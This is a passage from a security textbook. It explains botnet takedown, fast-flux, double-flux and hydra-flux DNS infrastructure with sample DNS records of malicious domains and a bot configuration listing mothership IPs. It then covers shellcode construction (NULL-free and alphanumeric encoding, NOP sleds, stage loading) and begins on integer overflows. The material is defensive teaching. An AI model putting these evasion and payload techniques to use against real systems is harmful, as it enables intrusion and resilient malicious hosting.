make server takedown attempts difficult. The vast resources also allow
10 7
botmasters to provide services to other individuals looking to carry out
malice. These services allow individuals without available resources to
perform their desired attacks.
Administrators attempting to detect infected bots within their networks need to monitor traffic for botnet communication. Repeated
anomalous traffic over IRC or nonstandard ports from a system can
indicate an infected machine participating in a botnet. Detecting botnet activity over common ports is more difficult and requires filtering
out legitimate traffic. To filter out legitimate traffic, the administrator
needs specific knowledge of the botnet’s communication and how it
appears while traversing the network. Armed with this knowledge, an
administrator can create an intrusion detection system (IDS) signature to detect the botnet communications.
Takedown attempts depend on the botnet’s structure. Generally,
taking down a centralized botnet requires removing all of the C&C
servers. By removing all the C&C servers, the botmaster cannot update
his or her bots with new servers to contact, effectively disabling the
botnet. A decentralized botnet requires a different approach, as there
are no specific C&C servers to take down. The overly simplified takedown approach requires dispatching a cease-and-desist command to
the peers within the botnet. When an administrator is unable to effect
a takedown of the control servers, he or she can and should block the
known IPs and domain names associated with a botnet.
The efficiency of attackers successfully exploiting systems exposed
a need for a management system for large quantities of infected
machines. Attackers evolved their malware to set up logical networks
of compromised systems to create a powerful tool to carry out malice
and generate revenue. As the security community scrambles to analyze, track, and attempt to take down botnets, the botmasters continue to modify their networks to remain one step ahead.
2.3.2â•‡ Fast-Flux
This section explains fast-flux attacks, which utilize temporary records
in the domain name system (DNS) to achieve a distributed network
of hosts. Resulting in constantly rotating IP addresses, single-flux
attacks require disabling the DNS server to take down a domain.
Even more robust, double-flux attacks rotate the IP addresses of both
hosts and domain name servers, thereby making takedown even more
difficult. In addition, fast-flux attacks create a layer of anonymity, further frustrating enforcement efforts. This technique is not new, but it
grew dramatically in popularity within the past two years and is now
a common occurrence.
Fast-flux is a technique that creates a resilient and balanced network of compromised computers to carry out malicious actions. Fastflux utilizes DNS to continually update valid domain names with A
and NS records that resolve to an ever-changing set of IP addresses.
Earning the phrase flux, changing the IP addresses within DNS
records allows a domain name to point to different IP addresses at different times. By changing the resolving IP addresses, domains point
to the currently active set of infected computers.
Coined as being “fast” due to the speed of IP changes, this technique employs short time-to-live (TTL) periods to force frequent
requests to the authoritative name server for IP addresses that resolve
the domain. Due to a short TTL, clients and caching servers make
frequent requests to the name server to update the IP addresses associated with the domain. Exhibit 2-15 shows a fast-flux domain using
a short TTL to cycle new A records every 600 seconds.
Fast-flux domains incorporate a collection of bots into a network
of resolvable servers by command-and-control (C&C) servers known
as motherships. These motherships have important duties in controlling and maintaining fast-flux by issuing commands to bots and adding and removing bot IP addresses from DNS records. By cycling IP
addresses of infected computers in and out of DNS records, the mothership is able to use active bots to host content and services. The IP
cycling in DNS records also combats unreachable compromised hosts
due to routing issues, firewall filtering, and infection remediation,
;; ANSWER SECTION:
mtno.ru. 600
mtno.ru. 600
mtno.ru. 600
mtno.ru. 600
mtno.ru. 600
mtno.ru. 600
IN
IN
IN
IN
IN
IN
A
A
A
A
A
A
98.196.113.58
65.102.56.213
98.209.249.15
68.202.88.12
68.92.101.61
74.138.219.230
Exhibit 2-15â•… DNS response showing short time-to-live (TTL).
10 9
and insures a high probability of reaching an active bot. In addition
to controlling infected computers and maintaining DNS records,
motherships act as the main servers and respond to client requests.
Compromised computers act as an intermediary for the mothership by
accepting and forwarding inbound requests to the fast-flux domain.
Exhibit 2-16 shows the interaction between a client and the fast-flux
domain shown in Exhibit 2-15.
Exhibit 2-16 describes a concept known as single-flux, which utilizes static name servers (DNS NS records) to update DNS A records
6 index.htm
Bot 1
98.196.113.58
Bot 2
68.202.88.12
Request
3
mtno.ru/index.htm
Bot 3
65.102.56.213
4
Query for
mtno.ru
Bot 4
98.209.249.15
Request
index.htm
index.htm 5
1
DNS Server
ns.mtno.ru
Victim
2
Mothership
98.196.113.58
68.202.88.12
65.102.56.213
98.209.249.15
Bot 5
68.92.101.61
Bot 6
Bot 7
Bot 8
74.138.219.230 24.216.181.139 24.151.161.136
600 Seconds Later
Bot 1
98.196.113.58
Bot 3
65.102.56.213
Bot 2
68.202.88.12
Bot 4
98.209.249.15
Query for
mtno.ru
1
DNS Server
ns.mtno.ru
Victim
2
Request
3
mtno.ru/index.htm
68.92.101.61
74.138.219.230
24.216.181.139
24.151.161.136
6 index.htm
Bot 5
68.92.101.61
4
Request
index.htm
Bot 6
Bot 7
Bot 8
74.138.219.230 24.216.181.139 24.151.161.136
Exhibit 2-16â•… Victim interaction to fast-flux infrastructure.
Mothership
index.htm 5
110 Cy ber Se curit y E s sen tia l sï»¿
with IP addresses of infected computers and continuously cycle new
IP addresses. Client requests for a single-flux domain received by
the domain’s name server are resolved to multiple bots (bots 1–8
in Exhibit 2-16). All requests to the domain go through infected
computers to the mothership. Acting similar to a reverse proxy, the
infected computers receive the mothership’s response to the client’s
initial request and forward it to the client. Multiple other variations
of fast-flux currently exist, and all incorporate the same techniques
with different levels of complexity. Double-flux adds a second layer
of complexity by cycling IP addresses to name servers, and hydraflux introduces multiple motherships.48
Regardless of the type of fast-flux used, domains become attractive
to malicious actors due to the benefits that a fast-flux domain provides.
The infected computers form a protective barrier in front of the backend servers by cloaking the true origin of the malicious activity. The
cloaking provided from this barrier allows mothership owners to avoid
detection and apprehension by authorities. The intermediary bots are
the only element of the fast-flux system visually exposed during malicious acts. This allows motherships to remain active for long periods.
The lengthened lifetime of motherships increases the resiliency of the
entire fast-flux system. The system evades takedown attempts due to
bots accepting sole responsibility for actions performed by backend
motherships. Other benefits that fast-flux domains offer include load
balancing by spreading requests to multiple servers and high availability to the malicious content.
Attributes of a fast-flux domain render it a viable solution to carry
out a variety of malicious duties. Phishing campaigns equipped with
fast-flux domains remain active for long periods and are difficult to
take offline. Exploit toolkits hosted at these domains attempt to exploit
vulnerable visitors to install malicious code and ultimately turn the
victim into a bot used in the fast-flux system. Malicious code distribution also utilizes fast-flux domains as it allows a centralized location
for malicious code downloads without exposure. Spam e-mail also
incorporates fast-flux domains to hide mail servers to lengthen the
campaign and link to malicious content. Bulletproof hosting takes
advantage of fast-flux systems due to the high availability of content
and the lack of a mass-blocking technique. Unlike traditional bullet© 2011 by Taylor & Francis Group, LLC
111
proof hosting providers with specific IP ranges to block, filtering on
dispersed IP addresses used in fast-flux domains is futile.
Fast-flux systems are resistant to takedown attempts due to the
number of systems involved and the anonymity of the true source
of such systems. In a traditional server takedown, an administrator
contacts the Internet service provider (ISP) hosting malicious content
and provides evidence of abuse. The ISP shuts down the server in
response to the report of illegitimate activity. It is impossible to take
down a fast-flux system with this traditional process due to the lack
of a single ISP to contact. As a result, administrators must contact the
domain registrar and provide evidence of malicious content hosted
at the domain. The registrar removes access to the fast-flux domain,
which stops the current activity, but does not stop the fast-flux operator from registering a new domain name. Adding a new domain name
begins the cycle over and allows the fast-flux infrastructure to continue malicious activity.
During the domain takedown procedures, administrators must
implement safeguards and countermeasures to protect their assets.
The number of IP addresses resolving the domain and the short turnaround time renders appliances that block traffic at the network layer
useless. The best method of blocking traffic to fast-flux domains is to
black hole the domain at local DNS servers. Black holing the domain
blocks client requests and stops the communication with the malicious servers. Filtering traffic to known fast-flux domains at local
Web proxies provides a blocking mechanism for HTTP traffic.
Fast-flux domains allow actors to carry out malicious deeds anonymously and for relatively long periods. These domains continue to
spread malicious code, send spam, host phishing, and exploit victims,
and are a danger to any enterprise. Innovative uses of fast-flux continue to change in the wild and require reactive countermeasures from
the security community.
2.3.3â•‡ Advanced Fast-Flux
Section 2.3.2 described the workings of a basic fast-flux infrastructure, which uses DNS records to obfuscate the location of malicious
sites and frustrates takedown efforts. Variants of the fast-flux technique further complicate tracking and takedown by using multiple
domain name servers or even multiple command-and-control (C&C)
servers, also known as motherships. These advanced fast-flux methods are known as double-flux and hydra-flux.
The preceding section described fast-flux networks and their general structures, uses, and resiliency to take down. The lack of in-depth
detail regarding the types of fast-flux systems requires a second look.
The three types of fast-flux existing today are known as single-, double-, and hydra-flux. All three types of fast-flux utilize domain name
system (DNS) record updates, occurring on name servers or with
domain registrars or both, to conceal the source of malicious activity
in attempts to evade detection and takedown. This section describes
advanced fast-flux techniques, how they work, and the additional protection each variation provides.
Regardless of type, all fast-flux domains involve a botnet infrastructure that includes one or more C&C servers called motherships
and infected computers called bots. The mothership is responsible for
managing the DNS infrastructure associated with the domain, controlling bots, and serving malicious content. Managing the domain
involves updating the domain registrar and name servers. The registrar receives updates from the mothership in the form of NS records,
which point to name servers that answer queries for the domain. The
mothership also updates the configuration file, known as a zone file, on
these designated name servers with A records that point to bots that
resolve the domain. The zone file on the name server also includes a
time-to-live (TTL) value that specifies how many seconds the client
caches IP addresses for a domain before querying again. To cycle bot
IP addresses into A records and to bypass caching features, fast-flux
domains use short TTL values to force clients to frequently query the
name server for a new set of A records. Bots designated by A records
receive content requests sent to the domain, and act as reverse proxies
by sending requests to the mothership and relaying the malicious content hosted on the mothership back to the original requester. These
bots provide a layer of protection by obscuring the true source of the
malicious content and introduce multiple points for takedown.
Exhibit 2-17 shows the protective layers that each type of flux provide the source of the malicious content or actor. The diagram shows
single-flux using groups of bots, a single DNS server, and a single
mothership that provide three layers of protection between victims
113
Malicious Actor/Content
Mothership N
Mothership 1
ra
Fl
ux
Mothership 1
Si
Bots
ng
le
Fl
ux
D
ou
bl
e
Fl
DNS Server 1
DNS Server 1
ux
H
yd
DNS Server N
Victims
Exhibit 2-17â•… Diagram of the protective layers that flux domains provide.
and the malicious actor or content. The use of a single DNS server is
a shortcoming in single-flux by presenting a single point on which to
focus efforts to stop malicious activity. Double-flux addresses this flaw
by adding multiple DNS servers, which in turn adds another layer of
protection for a total of four layers. The multiple DNS servers increase
the complexity of the infrastructure to conceal the content source further, but double-flux’s weakness lies in the use of one mothership.
Once discovered, investigators can take down the single mothership
to stop malicious activity related to the double-flux domain. Hydraflux fixes this vulnerability with an extra layer on top of double-flux
by implementing multiple motherships. With five layers of protection,
hydra-flux is the most advanced type of fast-flux and causes hardship
to those attempting to stop malicious activity. With these layers of
multiple bots, DNS servers and motherships render server takedown
procedures ineffective. The best method to cease malicious hydra-flux
activity requires the domain registrar to suspend the domain name.
The three types of fast-flux utilize similar techniques to set up and
maintain resilient networks to carry out malicious activity. To implement single-flux, a domain name is registered and assigned a single
DNS server to the domain by providing one static NS record to the
registrar. The mothership adds and removes IP addresses of bots to the
zone file on the name server assigned during domain registration. As
a result, the name server responds to a requester’s query to resolve the
domain with addresses of different bots that subsequently proxy communication between the requester and the mothership. In addition to
single-flux techniques, double-flux uses the mothership to update the
domain registrar continuously with NS records to change the name
servers that answer queries to resolve the domain. Hydra-flux builds
on double- and single-flux by implementing multiple motherships
along with multiple DNS servers and infected computers. Adding
multiple motherships requires updating the configuration on each bot
with current motherships to forward requests.
In the wild, the Asprox botnet incorporated a hydra-flux infrastructure to carry out phishing, DDoS, and spam campaigns. The
left portion of Exhibit 2-18 shows the results of a query for an Asprox
domain name. Asprox fast-flux domains used 14 infected bots within
A records, cycling in a new set every 600 seconds, according to the
TTL value seen in the second column. The authority section shows
the name servers responsible for answering requests to resolve the
domain. The right portion of Exhibit 2-18 shows a subsequent request
to resolve one of the name server domains. The answer shows multiple
A records with a TTL value of 30 seconds, which exemplifies the use
of double-flux techniques.
Exhibit 2-19 shows a decoded configuration file sent from a mothership to an infected computer, which updated the bot with current
mothership IP addresses. This configuration file is required for the
hydra-flux infrastructure, as the IP addresses within the <S> tags
instructed the infected computer to proxy requests to the motherships
at these addresses.
Single-, double-, and hydra-flux all use the same techniques to
evade detection and takedown, but each addresses weaknesses in its
predecessor by adding a layer of complexity. The layers of complexity prolong malicious campaigns by obscuring the true source of the
115
Query for Asprox Domain etyj.ru
;; ANSWER SECTION:
etyj.ru.
600
IN
A
etyj.ru.
600
IN
A
4.181.22.219
24.6.232.7
etyj.ru.
600
IN
A
98.230.58.166
etyj.ru.
600
IN
A
99.141.164.246
etyj.ru.
600
IN
A
71.65.231.215
etyj.ru.
600
IN
A
99.140.161.108
etyj.ru.
600
IN
A
74.212.4.66
Query for ns3.etyj.ru
;; ANSWER SECTION:
etyj.ru.
600
IN
A
71.140.21.146
ns3.etyj.ru.
30
IN
A
74.194.66.226
etyj.ru.
600
IN
A
69.247.161.254
ns3.etyj.ru.
30
IN
A
75.11.10.101
etyj.ru.
600
IN
A
76.202.2.127
ns3.etyj.ru.
30
IN
A
75.36.88.74
etyj.ru.
600
IN
A
75.212.210.125
ns3.etyj.ru.
30
IN
A
76.94.189.96
etyj.ru.
600
IN
A
71.80.11.32
ns3.etyj.ru.
30
IN
A
76.240.151.177
etyj.ru.
600
IN
A
74.41.48.50
ns3.etyj.ru.
30
IN
A
24.140.10.22
etyj.ru.
600
IN
A
72.241.124.119
ns3.etyj.ru.
30
IN
A
24.247.215.75
etyj.ru.
600
IN
A
72.184.35.90
ns3.etyj.ru.
30
IN
A
64.91.14.107
ns3.etyj.ru.
30
IN
A
64.205.9.114
ns3.etyj.ru.
30
IN
A
67.85.69.196
;; AUTHORITY SECTION:
etyj.ru.
30
IN
NS
ns2.etyj.ru.
ns3.etyj.ru.
30
IN
A
68.4.124.142
etyj.ru.
30
IN
NS
ns3.etyj.ru.
ns3.etyj.ru.
30
IN
A
68.21.40.232
etyj.ru.
30
IN
NS
ns4.etyj.ru.
ns3.etyj.ru.
30
IN
A
68.109.161.115
etyj.ru.
30
IN
NS
ns5.etyj.ru.
ns3.etyj.ru.
30
IN
A
68.197.137.239
etyj.ru.
30
IN
NS
ns1.etyj.ru.
ns3.etyj.ru.
30
IN
A
68.205.248.186
Exhibit 2-18â•… Asprox domain A and NS records.
<s>120.50.46.68
203.117.170.42
208.109.122.207
216.150.79.226
64.191.14.85
66.197.168.5
66.197.233.133
66.199.241.98
66.232.102.169
74.50.106.162</s>
Exhibit 2-19â•… Bot configuration file from a mothership.
activity. Registrar domain takedown procedures are typically drawn
out, but provide the most effective solution in stopping malicious
activity related to fast-flux. New domains registered for fast-flux reuse
the existing infrastructure and restart the takedown process in an
endless cycle.
116 Cy ber Se curit y E s sen tia l sï»¿
References
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html.
2. Tor, “Tor: Anonymity Online,” 2010, http://www.torproject.org.
3. Emerging Threats, “CVS Log for sigs/MALWARE/MALWARE_
Socks_Proxy,” 2008–2010, http://www.emergingthreats.net/cgi-bin/
cvsweb.cgi/sigs/MALWARE/MALWARE_Socks_Proxy.
4. Al Iverson, “Al Iverson’s DNSBL Resources,” DNSB Resource, 2001–
2009, http://www.dnsbl.com.
5. Lars Brinkhoff, “HTTP Tunnel,” 2008, http://www.nocrew.org/software/
httptunnel.html.
6. JCraft, “JCraft: Code the Craft, Craft the Code,” 1998–2009, http://
www.jcraft.com/jhttptunnel/.
7. “Webtunnel,”
SourceForge,
2010,
http://sourceforge.net/projects/
webtunnel/.
8. Art of Ping, “PingFu Iris HTTP Tunneling Service,” 2010,
http://www.artofping.com/pingfu-iris-http-tunneler.php.
9. netVigilance, “netVigilance HTTP Tunnel,” 2004–2009, http://www.
netvigilance.com/httptunnel.
10. Thomer Gil, “NSTX (IP-over-DNS) Howto,” 2007, http://thomer.com/
howtos/nstx.html.
11. Doxpara,
“OzymanDNS,”
2010,
http://www.doxpara.com/
ozymandns_src_0.1.tgz.
12. Kryo, “iodine by Kryo,” 2010, http://code.kryo.se/iodine/.
13. Alberto Revelli and Nico Leidecker, “Heyoka,” SourceForge, n.d., http://
heyoka.sourceforge.net.
14. Julius Plenz, “DNStunnel.de,” 2006, http://dnstunnel.de.
15. Phrack, “Phrack Issues,” n.d., http://www.phrack.com/issues.
html?issue=49&id=6.
16. Daniel Stødle, “Ping Tunnel,” 2009, http://www.cs.uit.no/~daniels/
PingTunnel/.
17. Thomer Gil, “ICMPTX (IP-over-ICMP) Howto,” 2009, http://thomer.
com/icmptx/.
18. Antd, “Simple ICMP Tunnel,” SourceForge, 2005, http://sourceforge.net/
projects/itun/.
19. Gray-World.net Team, “Unusual Firewall Bypassing Techniques, Network
and Computer Security,” n.d., http://gray-world.net/poc_skeeve.shtml.
20. Arbor Networks, “Security to the Core,” 2009, http://asert.arbornetworks.com/2009/08/twitter-based-botnet-command-channel/.
21. Blended Technologies, “Utility Mill,” n.d., http://utilitymill.com/utility/
Steganography_Encode.
22. Alberto Revelli and Nico Leidecker, “Playing with Heyoka: Spoofed
Tunnels, Undetectable Data Exfiltration and More Fun with DNS
Packets” (paper presented at Shakacon 2009, Hawaii, June), http://shakacon.org/talks/Revelli-Leidecker_Heyoka.pdf.
117
23. Software Engineering Institute, “CERT NetSA Security Suite,” 2006–
2010, http://tools.netsa.cert.org/silk/.
24 .Bamm Visscher, “Sguil: The Analyst Console for Network Security
Monitoring,” SourceForge, 2007, http://sguil.sourceforge.net.
25. Dospy.com, [page in Chinese], n.d., http://www.dospy.com/bbs/
thread-2862026-1-1.html; and Dospy.com, [page in Chinese], n.d., http://
hi.baidu.com/55380855/blog/item/62f926d3dfd765073bf3cf49.html.
26. F-Secure.com, “‘Sexy View’ Trojan on Symbian S60 3rd Edition,” News
from the Lab, February 18, 2009, http://www.f-secure.com/weblog/
archives/00001609.html; and Fortinet, “FortiGuard Center,” 2009, http://
fortiguardcenter.com/advisory/FGA-2009-07.html.
27. Nikolas Schiller, “SMSishing Scam: Continued, Daily Render,
January 16, 2009, http://www.nikolasschiller.com/blog/index.php/
archives/2009/01/16/2104/.
28. EastCoastRadio,
“Crimewatch,”
n.d.,
http://blog.ecr.co.za/
crimewatch/?page_id=17.
29. Ravishankar Shrivastava, “How to Avoid Mobile Phising Attacks,” April
22, 2007, http://raviratlami1.blogspot.com/2007/04/how-to-avoidmobile-phishing-attacks.html.
30. F-Secure.com, “SMS Phishing on the Rise in SE Asia?” News from the Lab,
April 29, 2007, http://www.f-secure.com/weblog/archives/00001173.
html.
31. John Leyden, “Secret Crush Widget Spreads Adware on Facebook,”
Register, January 4, 2008, http://www.theregister.co.uk/2008/01/04/
facebook_adware/.
32. Ripoff Report, “Report: PC-Cleaner, XSpy, & Premium Support,” May 7,
2008, http://www.ripoffreport.com/reports/0/331/RipOff0331068.htm.
33. Sean-Paul Correll and Luis Corrons, “The Business of Rogueware,”
PandaSecurity, 2009, http://www.pandasecurity.com/img/enc/The%20
Business%20of%20Rogueware.pdf.
34. Anti-Phishing Working Group (APWG), “Phishing Activity Trends
Report: 1st Half 2009,” 2009, http://www.antiphishing.org/reports/
apwg_report_h1_2009.pdf.
35. Ibid.
36. Dancho Danchev, “A Diverse Portfolio of Fake Security Software: Part 2,”
Dancho Danchev’s Blog: Mind Streams of Information Security Knowledge,
http://ddanchev.blogspot.com/2008/08/diverse-portfolio-of-fake-security.html.
37. Anchor Intelligence,“Traffic Quality Report,”2010, http://www.anchorintelligence.com/anchor/resources/category/traffic_quality_report/.
38. Neil Daswani, Michael Stoppelman, and the Google Click Quality and
Security Teams, “The Anatomy of Clickbot.A,” n.d., http://www.usenix.
org/event/hotbots07/tech/full_papers/daswani/daswani.pdf.
39. Click Forensics, “Click Forensics: Traffic Quality Management,” n.d.,
http://www.clickforensics.com.
40. Anchor Intelligence, “Welcome to Anchor Intelligence,” 2010, http://
www.anchorintelligence.com.
41. iDefense, Malicious Code Summary Report, ID# 482339, February 11,
2009.
42. iDefense, “State of the Hack: iDefense Explains … Fast-Flux,” iDefense
Weekly Threat Report, ID# 480884, January 19, 2009.
43. Phillip Porras, Hassen Saidi, and Vinod Yegneswara, “Conficker C
P2P Protocol and Implementation,” SRI International, September 21,
2009, http://mtc.sri.com/Conficker/P2P/index.html.
44. Paul Barford and Vinod Yegneswaran, “An Inside Look at
Botnets,” University of Wisconsin–Madison, December 1, 2009,
http://pages.cs.wisc.edu/~pb/botnets_final.pdf.
45. Kirda, Engin, Guenther Starnberger, and Christopher Kruegel, “Overbot:
A Botnet Protocol Based on Kademlia,” International Secure Systems Lab,
September 2008, http://www.iseclab.org/papers/securecomm08_overbot.
pdf.
46. iDefense, “State of the Hack: iDefense Explains … DoS Conditions,”
iDefense Weekly Threat Report, ID# 529185, October 12, 2009.
47. Symantec, “Messagelabs
Intelligence
Q3/September
2009,”
September
2009,
http://www.messagelabs.com/mlireport/
MLI_2009.09_Sept_SHSFINAL_EN.pdf.
48. William Salusky, “A Twist in Fluxnet Operations: Enter Hydraflux,”
Internet Storm Center, July 19, 2008, http://isc.sans.org/diary.
html?storyid=4753.
3
E xplo itation
3.1â•‡ Techniques to Gain a Foothold
3.1.1â•‡ Shellcode
The wide availability of shellcode, injectable binary code used to perform custom tasks within another process, makes it simple for even
novice attackers to create highly reliable payloads for use after exploitation. Initially, shellcode simply spawned a shell from another process;
however, it is now used to perform a variety of custom tasks. This section explains what shellcode is, how it works, and the threat it poses.
Malicious code comes in many forms, and ranges from standalone
executables to injectable code. Varying in execution requirements,
development techniques, and the resulting behavior, malice is the
common motive. In this section, we focus on injectable code known
as shellcode and explains what it is and how it works.
Shellcode is binary code used as the payload in exploitation of
software vulnerabilities. The name shellcode originates from its initial intentions to spawn a shell within another process but has since
evolved to define code that performs any custom tasks within another
process.1 Written in the assembly language, shellcode passed through
an assembler creates the binary machine code that the central processing unit (CPU) can execute. When an attacker exploits a vulnerability
in a specific process, the shellcode payload is executed seamlessly, acting as if it were part of the original program.
The use of assembly as a low-level programming language instead
of a compiled high-level programming language or interpreted scripting language makes shellcode operating system specific. Shellcodes
typically do not port well between Linux, UNIX, and Windows platforms due to the differences between system calls and the way these
calls use the CPU.
Linux and UNIX operating systems are similar, as they both use
system calls to allow processes to interact with the kernel. These system
119
calls allow shellcode to perform tasks, such as reading or writing to
files, binding, and listening on sockets, with the same permissions as
the original process into which the shellcode was injected. To perform
a system call, the shellcode issues an interrupt (INT 0x80) with a
syscall number to specify which function to perform. Syscall numbers
are static and do not change between versions of Linux and UNIX
kernels. Linux and UNIX use the same interrupt, but Linux puts the
system call number and arguments into CPU registers before issuing
the interrupt, while UNIX platforms push the system call number
and arguments to the stack memory.2 Due to the differences in register and stack usage during system calls, Linux and UNIX shellcode
are not interchangeable; however, a shellcode developer can easily
include runtime checks to determine the operating system based on
the differences in system call semantics to create shellcode that runs
in both Linux and UNIX environments. Windows uses a different set
of syscall numbers, which renders Windows shellcode incompatible
with Linux and UNIX kernels.
Windows operating systems include system calls, but the limited
set of functions and the variance of syscall numbers between versions
reduce the effectiveness and reliability of the shellcode. Windows provides an application programming interface (API) through the use of
dynamically linked libraries (DLLs) for applications to interact with
the kernel. Reliable shellcode typically locates kernel32.dll and uses
the LoadLibraryA and GetProcAddress functions to access other
DLLs for additional functionality. The functionality of the shellcode
and loaded DLLs shares the same permissions of the victim process.
Attackers use several different techniques to locate kernel32.dll for
use within shellcode. The location of kernel32.dll is included within
the process environment block (PEB), which is a structure that stores
process information and can provide the location of kernel32.dll since
it is always the second module initialized during process startup.
Shellcode can search for the location of kernel32.dll within the module
initialization order stored within the PEB. Another technique called
structured error handling (SEH) scans through a process’ exception
handlers to find the default unhandled exception handler as it points
to a function within kernel32.dll. The shellcode looks for magic bytes,
MZ, for the beginning of a portable executable and uses this location
for kernel32.dll. Another method in obtaining kernel32.dll includes
E x p l o itati o n
121
walking the thread environment block (TEB) for the magic bytes MZ
similar to the SEH approach. After locating kernel32.dll, the shellcode needs to find the location of functions within the DLL. To find
these functions, the shellcode queries the export directory and import
address table for the virtual memory addresses (VMAs).3 Once found,
these functions can provide the shellcode with access to a wide range
of commands comparable to syscalls in Linux and UNIX.
Using system calls and platform APIs, customized shellcode
injected into a process can perform virtually any actions on the computer that the author desires. Shellcode development does have limitations, however. Shellcode is dependent on a parent process and usually
requires specific encoding to run successfully. In many cases, programming functions copy shellcode into memory as a null-terminated
string. These functions copy data into memory until reaching a NULL
value and stop. A null-terminated string uses a NULL character to
determine the end of the string, which requires the author to remove
all NULL bytes from the shellcode to save the entire code to memory.
To remove NULL bytes from the shellcode, the instructions that have
hexadecimal values of 0x00 need alternative instructions that do not
include nulls but perform the same functionality. Exhibit 3-1 shows
an assembly instruction to move a value of zero into the CPU’s ebx
register, which presents four NULL bytes in the byte representation.
The NULL free version shows a comparable assembly instruction to
set ebx to zero by performing an exclusive or on ebx with itself, and
the byte representation shows zero NULL bytes.
Applications can also include input validation to limit copying
nonalphanumeric ASCII characters into buffers. Nonalphanumeric
characters are common within shellcode due to the hexadecimal
values generated when using assembly commands. To circumvent
these nonalphanumeric filters, the shellcode can use a limited set of
assembly commands that carry hexadecimal values of 0x30–0x39,
Instruction Contains NULLs
NULL Free Version
Assembly Instruction
MOV EBX
0×0
XOR EBX, EBX
Byte Representation
0×BB
0×00000000
0x31DB
Exhibit 3-1â•… A NULL free optimized shellcode.
Assembly Instruction
PUSH
0×64726f77
POP EAX
XOR EAX,
0×64726f77
ASCII Representation
h
word
X
5
word
Exhibit 3-2â•… An alphanumeric shellcode.
0x41–0x5A, and 0x61–0x7A for the alphanumeric characters of 0–9,
A–Z, and a–z.4 An author can develop shellcode using this limited set
of commands to perform desired actions and still pass alphanumeric
input validation. Exhibit 3-2 shows the assembly instructions to create alphanumeric shellcode to set the CPU’s eax register to zero. The
code has a hex value of 68 77 6f 72 64 58 35 77 6f 72 64, as seen in the
byte representation, which translates to the ASCII representation of
hwordX5word to pass alphanumeric filters.
Typically faced with size limitations, a programmer must develop
shellcode that fits in the exploited process’ buffer to inject all of the
shellcode into memory. If a shellcode cannot fit within the buffer, a
stage-loaded shellcode can incorporate larger pieces of code stored
elsewhere. The stub code of stage-loading shellcode, called stage 1,
uses many different methods to locate the larger piece of code known
as stage 2. One method reads and executes second-stage shellcode
from a remote server by reusing the file descriptor created by the operating system for the inbound connection to inject the initial shellcode.
Another method uses an egghunt strategy, which scans memory for
a unique piece of the second-stage shellcode, known as an egg, and
begins execution.
Typically, attackers use shellcode as the payload of an attack on a
vulnerability. A successful attack on a vulnerability injects the payload
into the targeted process, resulting in code execution. Buffer overflows
are a common exploit technique using shellcode as a payload to execute code within the targeted process. A buffer is a segment of memory that can overflow by having more data assigned to the buffer than
it can hold. Stack buffer overflows5 attempt to overwrite the original
function return pointer stored in memory to point to the shellcode
for the CPU to execute. No-operation-performed (NOP) instructions
precede the first instruction in the shellcode to increase the reliability
of the return pointer landing on the code. Known as a NOP sled, the
NOP instructions tell the CPU to perform no operation and to move
E x p l o itati o n
12 3
Buffer
No Operations
(NOPs)
Shellcode
Saved Return
Pointer
Exhibit 3-3â•… Shellcode execution in a stack buffer overflow.
on to the next instruction, eventually executing the shellcode. Exhibit
3-3 shows how a stack buffer overflow results in code execution.
There are many shellcode repositories on the Internet to aid an
attacker in developing an attack payload. Sites such as milw0rm.com
and metasploit.org contain shellcodes sorted by platform to perform
a variety of actions ranging from downloading and executing files to
sending a shell to a remote client. In addition to these repositories,
there are a number of shellcode generators that convert code written in a high-level programming language into injectable shellcode.
For example, ShellForge is a shellcode generator that creates shellcode
from code written in C and includes modules to create NULL free
and alphanumeric shellcode.6 Metasploit also offers a shellcode generator that uses an intuitive interface to create customized shellcode
for Windows, Linux, and UNIX platforms with multiple encoding
modules available.7
Shellcode detection technologies include intrusion detection and
prevention systems (IDSs/IPSs) and antivirus products. Networkbased IDS/IPS appliances use pattern-matching signatures to search
packets traveling over the network for signs of shellcode. Most antivirus products offer pattern-matching signatures to detect shellcode
within files on the local system. These pattern-matching signatures are
prone to false positives and are evaded by encrypted shellcode. Some
IDS/IPS appliances minimize evasion by involving x86 emulation
technologies, such as libemu, to detect shellcode based on the behavior
of executing instructions found in network traffic and local files.
Shellcode development continues to create ways to perform a variety of tasks after vulnerability exploitation. The malicious possibilities
provided by shellcode allow attackers to expose information on a victim
12 4 Cy ber Se c urit y E s sen ti a l sï»¿
computer further. The public availability of shellcode and shellcodegenerating tools enables novice hackers with minimal knowledge of
shellcode to use highly reliable payloads within attacks.
3.1.2â•‡ Integer Overflow Vulnerabilities
Resulting from insufficient input validation, integer overflows can
cause high-severity vulnerabilities. Not to be confused with buffer
overflows, integer errors are common and potentially severe.
A computer’s central processing unit (CPU) and memory represent integers. Software companies often supply these as input to their
programs in binary formats. Integers might represent the size of a
packet or length of a string, and applications frequently rely on them
when making key decisions about how a program should proceed. If
the program does not perform a sanity check on integers, unexpected
and potentially dangerous consequences may result. In this section,
we explain integers and how errors in integer operations may cause an
integer to overflow.
The effect that integer overflows can have varies greatly depending
on how the vulnerable application uses the integer. Integer overflows
can lead to 100 percent use of CPU resources, denial of service (DoS)
conditions, arbitrary code execution, and elevations of privileges. Like
many vulnerabilities, integer overflows result when programmers do
not consider the possibility of invalid inputs.
CPU registers cannot store integers with infinite values. Their maximum value depends on the width of the register in bits. Additionally,
there are two types of integer representations: unsigned and signed.
Unsigned integers represent only positive numbers, and signed integers can represent positive and negative numbers. An unsigned integer is positive or zero and includes the positive values 0 through 2n−1,
where n represents the number of bits the CPU register can hold. An
8-bit register width, therefore, has a maximum value representation
of 28 − 1 = 255.
A signed integer, on the other hand, includes the negative values
−2(n−1) through 2(n−1) − 1. For 8-bit signed integers, negative values have
a minimum and maximum value range of −28 = −128 to 128 − 1 = 127.
Most modern computers use two’s complement to represent signed integers. Converting a number to two’s complement is a two-step process.
E x p l o itati o n
00100010
11011101 + 1
11011101
11011110
12 5
Exhibit 3-4â•… (Left) The decimal number 34 in binary is converted to its one’s complement by
inverting each of the bits. (Right) 1 is added to the one’s complement representation, resulting in
the two’s complement representation of −34.
First, the binary representation of the number is negated by inverting
each of the bits. This format is known as one’s complement. The second
step is to simply add one to the one’s complement, and the resulting
value is the two’s complement form. Two’s complement representation
is thus the result of adding one to a one’s complement representation
of a negative integer.
Consider the transformation of −34 from one’s complement to
two’s complement in Exhibit 3-4. In this example, 34 (00100010) is
converted to −34 (11011110). The use of the two’s complement form
to represent negative integers means that the most significant bit (the
one furthest to the left) will always be a 1 if the number is negative.
Because of this, that bit is often referred to as the sign bit.
An integer overflow occurs when an arithmetic operation produces
